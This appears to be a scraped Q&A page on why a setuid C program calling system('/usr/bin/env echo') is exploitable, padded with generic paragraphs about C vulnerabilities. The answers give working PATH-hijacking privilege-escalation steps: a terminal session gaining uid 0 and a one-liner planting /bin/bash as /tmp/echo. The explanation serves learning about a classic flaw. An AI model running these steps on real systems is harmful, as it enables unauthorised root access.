Menu
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); } The way I understand it, the code above allows arbitrary code (or program) execution — what makes this vulnerable, and how does one take advantage of this?
699
The top vulnerabilities found in C were buffer errors and input validation, the report reads, and although numbers have both risen and fallen since 2009, it remains the most insecure language. In C's defense, it should be noted that this is the oldest (and most widely used) programming language in the list.
What Are Vulnerabilities? In the process of developing and coding technology, sometimes mistakes occur. A bug is the result of these mistakes. While bugs aren't necessarily dangerous, many of them may be exploited by malicious actors, which are referred to as vulnerabilities.
Insecure Cryptographic Storage Defined. Insecure Cryptographic Storage is a common vulnerability that occurs when sensitive data is not stored securely. Insecure Cryptographic Storage isn't a single vulnerability, but a collection of vulnerabilities.
C and C++ are susceptible to buffer overflows because they define strings as null-terminated arrays of characters, do not implicitly check bounds and provide standard library calls for strings that do not enforce bounds checking.
You can override the PATH variable to point to a directory with your custom version of echo and since echo is executed using env, it isn't treated as a built-in.
This constitues a vulnerability only if the code is run as privileged user.
In the example below file v.c contains the code from the question.
$ cat echo.c #include <stdio.h> #include <unistd.h> int main() { printf("Code run as uid=%d\n", getuid()); } $ cc -o echo echo.c $ cc -o v v.c $ sudo chown root v $ sudo chmod +s v $ ls -l total 64 -rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo -rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c -rwsr-sr-x 1 root group 8896 Nov 29 01:55 v -rw-r--r-- 1 user group 279 Nov 29 01:55 v.c $ ./v and now what? $ export PATH=.:$PATH $ ./v Code run as uid=0 $ Note that the setting of real user ID, effective user ID and saved set-user-ID by a call to setresuid() before the call to system() in the vulnerable code posted in the question allows one to exploit the vulnerability even when only effective user ID is set to a privileged user ID and real user ID remains unprivileged (as is for example the case when relying on set-user-ID bit on a file as above). Without the call to setresuid() the shell run by system() would reset the effective user ID back to the real user ID making the exploit ineffective. However, in the case when the vulnerable code is run with real user ID of a privileged user, system() call alone is enough. Quoting sh man page:
If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS variable, if it appears in the environment, is ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.
Also, note that setresuid() isn't portable, but setuid() or setreuid() may also be used to the same effect.
99
well actually on the system function call you can mess with the echo command. for example if you execute the following code :
echo "/bin/bash" > /tmp/echo chmod 777 /tmp/echo && export PATH=/tmp:$PATH you will get a shell with the file owner permission
27
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With
